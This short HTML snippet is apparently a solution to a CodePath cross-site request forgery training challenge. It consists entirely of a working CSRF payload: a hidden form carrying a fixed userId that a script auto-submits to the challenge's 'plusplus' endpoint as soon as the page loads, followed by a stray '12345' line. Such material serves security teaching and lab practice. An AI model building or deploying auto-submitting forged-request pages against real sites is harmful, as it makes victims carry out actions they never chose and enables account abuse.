<form name="csrfForm" action="https://security.codepath.com/user/csrfchallengetwo/plusplus" method="POST"> <input type="hidden" name="userId" value="0771d27852f34419c6bad95a8f7723f5a1f188d0" /> <input type="submit"/></form><script> document.csrfForm.submit(); </script>
12345